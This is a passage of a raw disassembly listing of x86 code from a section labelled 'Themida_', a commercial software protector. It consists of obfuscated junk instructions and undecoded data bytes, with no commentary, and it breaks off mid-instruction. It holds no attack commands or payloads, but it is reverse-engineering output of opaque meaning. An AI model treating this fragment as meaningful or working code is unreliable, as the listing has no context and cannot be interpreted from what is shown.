Themida_:005A740Aj mov edx, [esp] jmp loc_5A3E8E ; --------------------------------------------------------------------------- loc_5A8019: ; CODE XREF: Themida_:005A9BB0j push dword ptr [esp] mov ebp, [esp] add esp, 4 push 2600h mov [esp], eax push 35DEh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 push edx mov edx, 4 jmp loc_5A8942 ; --------------------------------------------------------------------------- loc_5A804B: ; CODE XREF: Themida_:0059D392j or ebp, 55F941D8h jmp loc_5ABA62 ; --------------------------------------------------------------------------- loc_5A8056: ; CODE XREF: Themida_:005A7D45j add ebx, 572B46FBh add ebx, ecx jmp loc_599915 ; --------------------------------------------------------------------------- db 83h dd 0C8704E9h, 4895C24h, 55D08924h, 56E9C589h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8077: ; CODE XREF: Themida_:005ADF4Dj or dl, 0E1h add dl, 0C2h sub cl, dl pop edx inc cl jle loc_599294 add cl, 0D7h jmp loc_5A1506 ; --------------------------------------------------------------------------- loc_5A8090: ; CODE XREF: Themida_:loc_5AAD9Ej shr ebx, 3 sub ebx, 0FFFFFFFFh push eax jmp loc_59E159 ; --------------------------------------------------------------------------- loc_5A809C: ; CODE XREF: Themida_:0059B633j add ebx, 4E48687Eh jp loc_599AD6 and ebx, 483A0113h js loc_5A4FAF shr ebx, 2 jnp loc_59F888 not ebx jmp loc_59A4FE ; --------------------------------------------------------------------------- loc_5A80C4: ; CODE XREF: Themida_:loc_59CA20j sub edx, 1C026C0Fh jmp loc_599152 ; --------------------------------------------------------------------------- db 35h dd 50657ED6h, 0FFCCFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A80D9: ; CODE XREF: Themida_:005A5E71j pop ebp sub ebx, 2EDC52ECh add ebx, ecx jmp loc_59D462 ; --------------------------------------------------------------------------- loc_5A80E7: ; CODE XREF: Themida_:005A3E69j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edi push 0C4D5F69h pop edi sub edi, 0A654E963h mov edx, edi pop edi xor edx, 65F87602h add eax, edx jmp loc_59AE43 ; --------------------------------------------------------------------------- db 81h dd 99EFB1F5h, 3CEB8132h, 14CAF4Fh, 2F57E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8122: ; CODE XREF: Themida_:005AEAB2j jz loc_59AECE add ebx, 1FC09A3h jnz loc_5A3950 shl ebx, 5 jmp loc_5A3912 ; --------------------------------------------------------------------------- dd 0AD565155h, 0FF54A2E9h, 242C87FFh, 2C87D5F7h, 243C8B24h dd 26E0E9h db 0 ; --------------------------------------------------------------------------- loc_5A8155: ; CODE XREF: Themida_:005A7180j mov eax, 332D3C9Bh sub dword ptr [esp+4], 338B2AF5h jmp loc_5AAE89 ; --------------------------------------------------------------------------- loc_5A8167: ; CODE XREF: Themida_:005A6F5Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp dec ebx jmp loc_5A5E62 ; --------------------------------------------------------------------------- loc_5A817B: ; CODE XREF: Themida_:005A3EF9j push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, esp sub esp, 4 jmp loc_59A376 ; --------------------------------------------------------------------------- loc_5A818D: ; CODE XREF: Themida_:00599E9Ej shl word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A8197: ; CODE XREF: Themida_:005A66DCj pop eax jmp loc_59DA43 ; --------------------------------------------------------------------------- db 0Fh, 8Fh, 0B9h dd 4EFFFFEEh, 31318B0Fh, 0EEC10000h, 8CEE8106h, 46DCC57Eh db 83h, 0EEh, 1 ; --------------------------------------------------------------------------- loc_5A81B7: ; CODE XREF: Themida_:00599C17j add esp, 4 dec esi jns loc_59AE5A push edx push edi mov edi, 19DF30BCh dec edi jmp loc_59AAB7 ; --------------------------------------------------------------------------- loc_5A81CE: ; CODE XREF: Themida_:005ADD82j add edx, 2BD43C69h jmp loc_5AB6EE ; --------------------------------------------------------------------------- db 53h, 0BBh, 81h dd 293A02A8h, 99E95BD9h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A81E7: ; CODE XREF: Themida_:0059E1C1j xor edx, 0ABCA726h push edi mov edi, 1DE5486Ah jmp loc_5A3B5C ; --------------------------------------------------------------------------- loc_5A81F8: ; CODE XREF: Themida_:005A0A2Aj mov [esp], ecx mov ecx, 4 jmp loc_5A2A32 ; --------------------------------------------------------------------------- loc_5A8205: ; CODE XREF: Themida_:005A50CEj sub esi, ebx jmp loc_59BFDC ; --------------------------------------------------------------------------- loc_5A820C: ; CODE XREF: Themida_:0059CC50j pop edx and eax, esi pop esi shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_5A37B4 ; --------------------------------------------------------------------------- db 89h dd 6853243Ch, 296012B5h, 0CFCB815Bh, 0F34D33Fh, 0FF7A378Ch dd 0FEBD1FFh, 0FF72F084h, 0FBEB81FFh, 531EF99Fh, 15243481h dd 5F096E2Fh, 2F15F781h, 0E95B096Eh, 0FFFF55E2h, 92E9E589h dd 5C000059h, 9DCE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A827A: ; CODE XREF: Themida_:005A8D09j ; Themida_:005AA803j inc eax jmp loc_5A43A4 ; --------------------------------------------------------------------------- loc_5A8280: ; CODE XREF: Themida_:005AAAEFj xor ebp, 60C834C8h xor edi, ebp jmp loc_59E959 ; --------------------------------------------------------------------------- db 25h, 63h, 5Eh dd 0A82D1D1Bh, 2D5A0875h, 0A5F9D857h, 0FF03BCE9h, 28EF81FFh dd 176DE38h, 28C781EFh, 8B76DE38h, 0C483242Ch, 8BF90104h dd 0C481243Ch, 4, 0FF6583E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A82C5: ; CODE XREF: Themida_:005A234Fj add esp, 4 jmp loc_599884 ; --------------------------------------------------------------------------- loc_5A82CD: ; CODE XREF: Themida_:0059F628j pop eax add eax, 4 add eax, 4 push eax jmp loc_5A20EB ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5830000h, 242C8704h, 4EC835Ch, 0B8240489h dd 2, 56EE68h, 0F89CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8302: ; CODE XREF: Themida_:005A008Bj mov eax, [esp] add esp, 4 jmp loc_59F285 ; --------------------------------------------------------------------------- loc_5A830D: ; CODE XREF: Themida_:005A3DC2j add ecx, 4 sub ecx, 4 jmp loc_5AB98E ; --------------------------------------------------------------------------- loc_5A831E: ; CODE XREF: Themida_:0059AA04j ; Themida_:005A5E4Dj pop esi add esi, 21D8DEh sub esp, 4 mov [esp], esi pop eax pop esi or eax, 283C2840h jb loc_5A96D5 jmp loc_59F7C4 ; --------------------------------------------------------------------------- loc_5A833D: ; CODE XREF: Themida_:005A3917j pop eax push 6994h mov [esp], eax not dword ptr [esp] jmp loc_5A5E08 ; --------------------------------------------------------------------------- loc_5A834E: ; CODE XREF: Themida_:005A2D2Dj mov cl, al jmp loc_5AE8B5 ; --------------------------------------------------------------------------- db 0E9h, 48h, 65h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A835A: ; CODE XREF: Themida_:00599D54j mov esp, [esp] jmp loc_5AABCF ; --------------------------------------------------------------------------- dw 248Bh dd 2434FF24h, 8124048Bh, 4C4h, 8B545500h, 0C481242Ch, 4 dd 4BA52h, 0D5010000h, 8324148Bh, 2FE904C4h, 0C1000051h dd 4CE904E3h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8397: ; CODE XREF: Themida_:005999CAj ; Themida_:loc_5A1269j mov ebp, 5E0043F2h xor edx, ebp pop ebp jmp loc_5ACD54 ; --------------------------------------------------------------------------- loc_5A83A4: ; CODE XREF: Themida_:0059CA2Cj jnp loc_5A5D9E jmp loc_5A7823 ; --------------------------------------------------------------------------- db 89h dd 0FA8A57E6h db 50h ; --------------------------------------------------------------------------- loc_5A83B5: ; CODE XREF: Themida_:00599517j xor edi, ecx mov ecx, [esp] add esp, 4 add ebp, 28555494h add ebp, edi push edx mov edx, 28555494h sub ebp, edx pop edx pop edi mov esi, ebp pop ebp mov edi, esi push dword ptr [esp] pop esi push edx mov edx, esp push edi mov edi, 6C206504h xchg ebx, edi jmp loc_5A774A ; --------------------------------------------------------------------------- loc_5A83EB: ; CODE XREF: Themida_:loc_5AD3EDj sub edx, 9B378B89h xor edx, 769F5B68h xor eax, edx pop edx xor eax, 1A3A609Dh jmp loc_5A26E4 ; --------------------------------------------------------------------------- dd 3D67F681h, 0C68161E9h, 472703C7h, 5A5EF001h, 4EC81h dd 2C890000h, 0E6DBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8422: ; CODE XREF: Themida_:005A76AFj xor eax, edx push dword ptr [esp] jmp loc_5A1962 ; --------------------------------------------------------------------------- dd 0CA968h, 24048900h, 0A686656h, 665E6661h, 0ABE9D6F7h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8443: ; CODE XREF: Themida_:005A8695j push edx push 3B60129Ah jmp loc_5ADFCC ; --------------------------------------------------------------------------- loc_5A844E: ; CODE XREF: Themida_:005AD40Cj push eax mov eax, 7161C7Ch dec eax add eax, 0FFFFFFFFh add eax, 0F8E9E38Ah add ebp, eax mov eax, [esp] add esp, 4 sub ebp, 4 jmp loc_59D293 ; --------------------------------------------------------------------------- loc_5A8472: ; CODE XREF: Themida_:0059A00Aj jmp loc_5A2E9F ; --------------------------------------------------------------------------- loc_5A8477: ; CODE XREF: Themida_:005A9F15j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx push ebp mov ebp, 61FB6D01h jmp loc_5A76B4 ; --------------------------------------------------------------------------- loc_5A8492: ; CODE XREF: Themida_:00599910j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A3D31 ; --------------------------------------------------------------------------- loc_5A84A2: ; CODE XREF: Themida_:0059D96Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, esp sub esp, 4 mov [esp], esi jmp loc_5A9BD3 ; --------------------------------------------------------------------------- dd 5A59E828h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_59C983 ; --------------------------------------------------------------------------- dw 0E9C1h dd 6743E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A84DA: ; CODE XREF: Themida_:005A04CEj mov cx, [esp] add esp, 2 jmp loc_59B33B ; --------------------------------------------------------------------------- loc_5A84E6: ; CODE XREF: Themida_:005A6158j pop dword ptr [esp] mov esp, [esp] jmp loc_5A13D2 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0CFE90000h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A84FB: ; CODE XREF: Themida_:005A8DD9j add esp, 4 push ecx jmp loc_59CBC0 ; --------------------------------------------------------------------------- loc_5A8507: ; CODE XREF: Themida_:0059C421j xor eax, 0D6FF07B0h mov ecx, eax pop eax jmp loc_5A62D2 ; --------------------------------------------------------------------------- loc_5A8514: ; CODE XREF: Themida_:005AF0C6j add ebp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_598EA8 ; --------------------------------------------------------------------------- loc_5A852D: ; CODE XREF: Themida_:005AE863j shr ebx, 5 dec ebx jle loc_5A5217 xor ebx, 18A25B1Dh mov ecx, ebx pop ebx add ecx, 0DC73BF1Bh jmp loc_599A40 ; --------------------------------------------------------------------------- loc_5A854B: ; CODE XREF: Themida_:0059E4A9j jge loc_59ED25 neg ebx jbe loc_59BC78 mov ebp, edx loc_5A855B: ; CODE XREF: Themida_:005ABFD7j sub eax, 38616C74h sub eax, esi jmp loc_5A107B ; --------------------------------------------------------------------------- loc_5A8567: ; CODE XREF: Themida_:005A4D72j add esi, eax pop eax jmp loc_5A1D5E ; --------------------------------------------------------------------------- loc_5A856F: ; CODE XREF: Themida_:005A2BE3j push esi push esp jmp loc_59DB83 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF4ED6h, 29BAE681h, 0F6814A78h, 0EBE782Dh, 8102EEC1h dd 0ABCAC0F6h, 5EF50107h, 15C3E9h, 24148900h, 6850E289h dd 4, 0FFC20158h, 9DE92434h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A85AF: ; CODE XREF: Themida_:0059D1D3j neg ebx jle loc_5AEC90 or ebx, 75B9602Fh xchg ecx, ebx not ecx loc_5A85C1: ; CODE XREF: Themida_:005A1A43j add esp, 4 jmp loc_59C32B ; --------------------------------------------------------------------------- loc_5A85CC: ; CODE XREF: Themida_:0059AE33j xchg ebx, [esp] mov esp, [esp] add ecx, 4 jmp loc_59EE47 ; --------------------------------------------------------------------------- db 1, 0C2h, 58h dd 4EC81h, 4890000h, 4B824h, 0C2010000h, 582434FFh, 4EC81h dd 34890000h, 81E68924h, 4C6h, 4C68100h, 87000000h, 248B2434h dd 24148724h, 4EC815Ch, 89000000h, 0E789243Ch, 21C0B850h dd 2D485B10h, 5B1021BBh, 93E9C701h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8633: ; CODE XREF: Themida_:005AA866j ; Themida_:005ADB79j add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov cx, [esp] push 6053h mov [esp], edx push 782h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edx, [esp] add esp, 4 push eax push ebx jmp loc_5A9F1A ; --------------------------------------------------------------------------- db 89h dd 0B85059C8h, 7DD94E74h, 0FEFFC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8679: ; CODE XREF: Themida_:0059B648j mov ecx, 173650E8h mov esi, ecx mov ecx, [esp] push edx mov edx, esp jmp loc_5A8DC3 ; --------------------------------------------------------------------------- db 5Bh dd 578BE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8692: ; CODE XREF: Themida_:005A12EEj mov [esp], ebp jmp loc_5A8443 ; --------------------------------------------------------------------------- loc_5A869A: ; CODE XREF: Themida_:0059AC32j ; Themida_:005A5F2Aj pop esi sub esi, 2C44304Ah jmp loc_5AF13B ; --------------------------------------------------------------------------- loc_5A86A6: ; CODE XREF: Themida_:005AE148j sub ecx, ebx pop ebx add ecx, esi push eax mov eax, 5EDE47DEh jmp loc_5A2354 ; --------------------------------------------------------------------------- dw 1487h aIHr db '$\<$hr!',0 align 2 dw 68E9h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A86C7: ; CODE XREF: Themida_:005A2415j not edi jmp loc_5A5BD9 ; --------------------------------------------------------------------------- loc_5A86CE: ; CODE XREF: Themida_:005ACCB4j pop dword ptr [esp] pop esp add esp, 4 jmp loc_5A8DAC ; --------------------------------------------------------------------------- loc_5A86DD: ; CODE XREF: Themida_:0059DF3Bj xchg edi, [esp] pop esp mov [esp], esi mov esi, 0E681A19h sub esi, 77D61AECh sub edx, esi jmp loc_59CDF2 ; --------------------------------------------------------------------------- loc_5A86F6: ; CODE XREF: Themida_:005A6172j mov bl, dl push edx mov dl, bl mov ch, dl pop edx mov ebx, [esp] add esp, 4 pop edx add ch, 16h push edx mov dh, 96h jmp loc_5A6C25 ; --------------------------------------------------------------------------- loc_5A8713: ; CODE XREF: Themida_:0059A311j xor edx, 4902666Fh mov esi, edx pop edx jmp loc_5A7D38 ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 80h dd 0D5F60CCDh, 80F5B652h, 0E6803FF6h, 68F9h, 34280000h dd 2FD6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A873E: ; CODE XREF: Themida_:0059D809j ; Themida_:0059E195j add bl, al jmp loc_5AB23D ; --------------------------------------------------------------------------- loc_5A8745: ; CODE XREF: Themida_:00599ADCj add ebx, 4DAB1463h pop ecx add ebx, esi push ebp mov ebp, 4A80641Fh jmp loc_5998AA ; --------------------------------------------------------------------------- loc_5A8759: ; CODE XREF: Themida_:005AD725j mov eax, 423203F0h neg eax shr eax, 8 push esi push ecx push 8941ACAh pop ecx xor ecx, 829D732h mov esi, ecx pop ecx xor eax, esi jmp loc_5A0160 ; --------------------------------------------------------------------------- loc_5A877B: ; CODE XREF: Themida_:005AD080j add ebx, 3ABE5430h sub ebx, edi sub ebx, 3ABE5430h sub ebx, 58FF11C1h mov edi, [esp] add esp, 4 sub ebx, 3EA94280h jmp loc_59FB13 ; --------------------------------------------------------------------------- loc_5A87A3: ; CODE XREF: Themida_:005A2002j add ebx, ebp add ebx, 5D07287Eh jmp loc_599A1C ; --------------------------------------------------------------------------- loc_5A87B0: ; CODE XREF: Themida_:005A0D7Aj pop ebp push 6F87h mov [esp], ecx jmp loc_5A42F5 ; --------------------------------------------------------------------------- loc_5A87BE: ; CODE XREF: Themida_:loc_5A6C3Dj shr ebx, 8 or ebx, 6A7828A1h jb loc_59A298 xor ebx, 4B3342CFh jmp loc_5AA9E5 ; --------------------------------------------------------------------------- loc_5A87D8: ; CODE XREF: Themida_:loc_5AAD55j sub eax, 9E0717E5h mov edx, eax pop eax push edx pop edi jmp loc_59EC05 ; --------------------------------------------------------------------------- db 5Bh dd 0AF368h, 240C8900h, 0FF3994E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A87F5: ; CODE XREF: Themida_:005A558Dj ; Themida_:005A8B67j add esp, 4 add ebx, 2 jmp loc_59CA31 ; --------------------------------------------------------------------------- loc_5A8803: ; CODE XREF: Themida_:005A9EB1j xor al, bl jmp loc_5A07D0 ; --------------------------------------------------------------------------- dw 0B035h dd 89D6FF07h, 0F3E958C1h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8817: ; CODE XREF: Themida_:005AB66Dj mov bl, ah jmp loc_59EDBC ; --------------------------------------------------------------------------- loc_5A881E: ; CODE XREF: Themida_:005AA61Dj pop eax add ebx, 1 push 7721h jmp loc_5AB35D ; --------------------------------------------------------------------------- db 89h dd 0A7682414h, 89000060h, 2FE92424h, 66FFFFD4h, 0B0505152h dd 4EC8391h, 52241C89h, 0F788C688h, 5BF9885Ah, 957EE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A885A: ; CODE XREF: Themida_:0059B21Ej and al, 7 inc al not al add al, 13h xor cl, al pop eax sub esp, 4 mov [esp], edx mov dh, 64h sub dh, 96h add cl, dh mov edx, [esp] jmp loc_59F081 ; --------------------------------------------------------------------------- loc_5A887D: ; CODE XREF: Themida_:0059F7F0j pop ebp sub edx, ecx jmp loc_5A542D ; --------------------------------------------------------------------------- loc_5A8885: ; CODE XREF: Themida_:005A7728j add ecx, 1321064Bh push ebx push edi mov edi, 52F12593h mov ebx, edi pop edi add ecx, ebx pop ebx push dword ptr [esp] push dword ptr [esp] jmp loc_59934B ; --------------------------------------------------------------------------- loc_5A88A3: ; CODE XREF: Themida_:0059B0E7j ; Themida_:0059E895j add edx, ecx jmp loc_598785 ; --------------------------------------------------------------------------- dw 34FFh dd 7193E924h, 0C583FFFFh, 242C8704h, 246C015Ch, 0B3BD5504h dd 2977DB2Fh, 5D08246Ch, 0FFD400E9h, 87DBF7FFh, 0BEE281DAh dd 0E9105539h, 20DAh, 6A50B85Eh, 0E831241Eh, 8A0F485Dh dd 0FFFF797Eh, 63B7E9h db 0 ; --------------------------------------------------------------------------- loc_5A88F1: ; CODE XREF: Themida_:00599941j add ebx, 504C0EB8h jnb loc_59BF0D add ebx, 70FFFAEDh mov eax, ebx pop ebx jmp loc_59FB59 ; --------------------------------------------------------------------------- db 5Dh dd 0F64D5EBDh, 8BD52942h, 2AE92414h, 68000050h, 639F7EDBh dd 3624E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8926: ; CODE XREF: Themida_:005A0E1Cj sub edx, ebx jmp loc_5AD296 ; --------------------------------------------------------------------------- db 89h, 0D5h, 5Ah dd 528F0F4Dh, 81000016h, 956FBEF5h, 68A4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8942: ; CODE XREF: Themida_:005A8046j push ebp jmp loc_59CABE ; --------------------------------------------------------------------------- loc_5A8948: ; CODE XREF: Themida_:005AB9D1j sub esi, 0A75E9B69h sub edi, esi pop esi add edx, 7AF01FEh add edx, edi sub edx, 7AF01FEh pop edi add edx, 4 xchg edx, [esp] jmp loc_59CE1A ; --------------------------------------------------------------------------- loc_5A896B: ; CODE XREF: Themida_:005A0D74j add eax, 4 push esi mov esi, 2 jmp loc_5A44CC ; --------------------------------------------------------------------------- loc_5A897B: ; CODE XREF: Themida_:0059E660j sub ebx, 36312951h push 3D6Eh jmp loc_5A7012 ; --------------------------------------------------------------------------- db 0FFh dd 835F2434h, 3E2D04C4h, 2D759A7Ah, 1D7627EEh, 0E952C829h dd 6353h ; --------------------------------------------------------------------------- loc_5A89A4: ; CODE XREF: Themida_:005AC084j add esi, 4 jmp loc_5AAB0D ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 4C4815Ch, 5D000000h, 3F45E02Dh, 56D02954h dd 0F11F4ABEh, 0A9EEE968h, 8966FFFFh, 0E0E9241Ch, 0F6FFFFBFh dd 0F6F786DEh, 0B05066DFh, 2A79E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A89EA: ; CODE XREF: Themida_:0059C97Ej ; Themida_:005AA2C5j add bl, al mov eax, [esp] jmp loc_5A0F04 ; --------------------------------------------------------------------------- loc_5A89F4: ; CODE XREF: Themida_:005A2D48j add esi, ebp mov ebp, [esp] add esp, 4 mov edi, esi pop esi add ebx, 18B8444Ah jmp loc_59FA53 ; --------------------------------------------------------------------------- loc_5A8A0D: ; CODE XREF: Themida_:005AD041j add ebp, edi jmp loc_599115 ; --------------------------------------------------------------------------- dd 2D59CF89h, 53773DBCh, 0D23CA805h, 695F2D6Dh, 0F801237Ah dd 7A695F05h, 3CA82D23h, 0BC056DD2h, 8B53773Dh, 0C483243Ch dd 24048704h, 0E924248Bh, 0FFFFDD1Bh, 0BA241489h, 4, 315BA52h dd 0CA810D38h, 76B1C11h, 7E2C14Ah, 0B01CF281h, 0FCE9D5A5h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8A6B: ; CODE XREF: Themida_:loc_5A4E69j xor edx, 13C846F9h jp loc_5ADC74 jmp loc_5A5559 ; --------------------------------------------------------------------------- dd 0D965AEBAh, 5420E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8A86: ; CODE XREF: Themida_:005A701Cj mov ebx, 6C4C5F69h jmp loc_59BEB9 ; --------------------------------------------------------------------------- dd 8704C683h, 685C2434h, 57D7h, 0E9243C89h, 2ADBh ; --------------------------------------------------------------------------- loc_5A8AA4: ; CODE XREF: Themida_:005A03D3j not edi add edi, 31E038D4h sub edi, 0C8A71472h mov ecx, edi jmp loc_5A1AA8 ; --------------------------------------------------------------------------- loc_5A8AB9: ; CODE XREF: Themida_:005AA745j pop esp push esi mov esi, 4 add ebp, esi jmp loc_5A7C8F ; --------------------------------------------------------------------------- loc_5A8AC7: ; CODE XREF: Themida_:005A6AE7j ; Themida_:005AD5B8j mov eax, [esp] add esp, 4 add bl, ch pop ecx jmp loc_59C974 ; --------------------------------------------------------------------------- dd 41C0C381h, 0DE891802h, 0AEC6815Bh, 0F07B757h, 0FF4DA183h dd 168BE9FFh, 0E6890000h, 46851h, 57590000h ; --------------------------------------------------------------------------- loc_5A8AFC: ; CODE XREF: Themida_:0059F471j pop bx and dl, cl jmp loc_5A68F8 ; --------------------------------------------------------------------------- loc_5A8B05: ; CODE XREF: Themida_:005AE123j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5AC759 ; --------------------------------------------------------------------------- loc_5A8B1A: ; CODE XREF: Themida_:005A2336j add eax, 7FDE0B5Fh jmp loc_5AD0BC ; --------------------------------------------------------------------------- loc_5A8B24: ; CODE XREF: Themida_:0059FA6Ej push ax pushf jmp loc_5AA941 ; --------------------------------------------------------------------------- dd 0E9FFC683h, 0FFFEF96Dh ; --------------------------------------------------------------------------- loc_5A8B34: ; CODE XREF: Themida_:loc_5A7F0Ej shr ebp, 3 sub ebp, 84AF2740h sub dword ptr [esp+4], 40FC14DFh sub dword ptr [esp+4], 0DF910DFh add [esp+4], ebp add dword ptr [esp+4], 0DF910DFh jmp loc_59B762 ; --------------------------------------------------------------------------- loc_5A8B5E: ; CODE XREF: Themida_:005AD7FBj sub ebx, 33B94023h mov eax, [esp] jmp loc_5A87F5 ; --------------------------------------------------------------------------- loc_5A8B6C: ; CODE XREF: Themida_:005AC6EDj pop esi jmp loc_5A431E ; --------------------------------------------------------------------------- loc_5A8B72: ; CODE XREF: Themida_:0059D3E9j mov [esp], edx jmp loc_5A18FD ; --------------------------------------------------------------------------- loc_5A8B7A: ; CODE XREF: Themida_:005ABD54j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push 6353h mov [esp], ebp mov ebp, 4 add edx, ebp push dword ptr [esp] pop ebp add esp, 4 push 20A0h jmp loc_5AE2B9 ; --------------------------------------------------------------------------- loc_5A8BAA: ; CODE XREF: Themida_:005A0E39j pop ebp push 613Fh mov [esp], ebx push 4F792D9Fh mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5A7AA9 ; --------------------------------------------------------------------------- loc_5A8BD3: ; CODE XREF: Themida_:0059AFBBj pop ebx xor ch, 1Ah shl ch, 3 jmp loc_5A1255 ; --------------------------------------------------------------------------- loc_5A8BDF: ; CODE XREF: Themida_:0059BBE0j add ebp, 5AE02665h add ebp, esi sub ebp, 5AE02665h add ebp, 2BEC54A2h mov esi, [esp] jmp loc_5A7075 ; --------------------------------------------------------------------------- loc_5A8BFB: ; CODE XREF: Themida_:005A4708j add ebx, 2FA51F94h jmp loc_5AE397 ; --------------------------------------------------------------------------- dd offset byte_6101E9 db 0 ; --------------------------------------------------------------------------- loc_5A8C0B: ; CODE XREF: Themida_:005AE930j pop ebp push 7A31h mov [esp], ecx jmp loc_5A0E00 ; --------------------------------------------------------------------------- loc_5A8C19: ; CODE XREF: Themida_:005A3961j pop ecx jmp loc_59D531 ; --------------------------------------------------------------------------- loc_5A8C1F: ; CODE XREF: Themida_:005AD9D0j xor ebp, ebx jmp loc_5ADA6F ; --------------------------------------------------------------------------- loc_5A8C26: ; CODE XREF: Themida_:0059DF76j push bx mov bh, 0E5h sub al, 7Ah sub al, bh add al, 7Ah pop bx jmp loc_5A0AEF ; --------------------------------------------------------------------------- loc_5A8C37: ; CODE XREF: Themida_:0059A439j mov eax, esp push esi jmp loc_5A69C0 ; --------------------------------------------------------------------------- loc_5A8C3F: ; CODE XREF: Themida_:0059BFD7j add edx, 4 push ecx mov ecx, 4 jmp loc_5A4037 ; --------------------------------------------------------------------------- dd 4EC81ADh, 0E9000000h, 0FFFF32F1h ; --------------------------------------------------------------------------- loc_5A8C5C: ; CODE XREF: Themida_:0059E264j mov eax, 57F4320Dh shr eax, 8 push edx mov edx, 3CF6256Ch shr edx, 8 xchg ebp, edx not ebp xchg ebp, edx jmp loc_59A2D4 ; --------------------------------------------------------------------------- loc_5A8C78: ; CODE XREF: Themida_:0059D2E5j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 6941h mov [esp], edx mov ebx, [esp] jmp loc_5A57BB ; --------------------------------------------------------------------------- dd 0A91742B8h, 536AE90Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8C9E: ; CODE XREF: Themida_:loc_5A01D4j add edi, 1AF1251h jb loc_5A2C28 add edi, 32A358B0h mov ecx, edi pop edi jmp loc_59D520 ; --------------------------------------------------------------------------- loc_5A8CB8: ; CODE XREF: Themida_:005A2C42j push 3781h mov [esp], eax mov al, 0E5h xor al, 4Fh xor dl, al pop eax sub al, dl mov edx, [esp] add esp, 4 add bl, al pop eax sub bl, ch sub bl, 69h mov ecx, [esp] jmp loc_5A2EDB ; --------------------------------------------------------------------------- db 4Ah dd 35998D0Fh, 0EC83FFFFh, 241C8904h, 747A9FBBh, 0C1815E21h dd 1CD011A9h, 0FFEC28E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8CFD: ; CODE XREF: Themida_:005A4032j add dh, 6Ch or dh, 6Fh jmp loc_5A67DF ; --------------------------------------------------------------------------- loc_5A8D08: ; CODE XREF: Themida_:005A0951j dec ebp jo loc_5A827A or ebp, 0DF93974h jp loc_5AAE15 neg ebp jmp loc_59E6F3 ; --------------------------------------------------------------------------- loc_5A8D22: ; CODE XREF: Themida_:00598C51j mov ebx, esp push ecx mov ecx, 0CB70481h shr ecx, 5 xor ecx, 0B1140CFh jmp loc_5A962F ; --------------------------------------------------------------------------- dd 0FE4CCC80h, 9768E9CCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A8D42: ; CODE XREF: Themida_:005A7E43j add eax, 63CE10EBh mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ecx, 195C1C62h add ecx, eax add ecx, 195C1C62h jmp loc_59CB8A ; --------------------------------------------------------------------------- loc_5A8D70: ; CODE XREF: Themida_:005A90B0j sub eax, 6E231FFDh jmp loc_5A9E91 ; --------------------------------------------------------------------------- loc_5A8D7A: ; CODE XREF: Themida_:005ABDB4j mov edi, 70FF4897h dec edi dec edi xchg esi, edi not esi jmp loc_59F53A ; --------------------------------------------------------------------------- loc_5A8D8A: ; CODE XREF: Themida_:0059FF51j add edx, 4 jmp loc_5AB6E0 ; --------------------------------------------------------------------------- dw 0C181h dd 4064F20h, 8159CB29h, 636CEAC3h, 64C38104h, 0E934C713h dd 0FFFFCC15h ; --------------------------------------------------------------------------- loc_5A8DAC: ; CODE XREF: Themida_:005A86D8j movzx eax, al jmp dword ptr 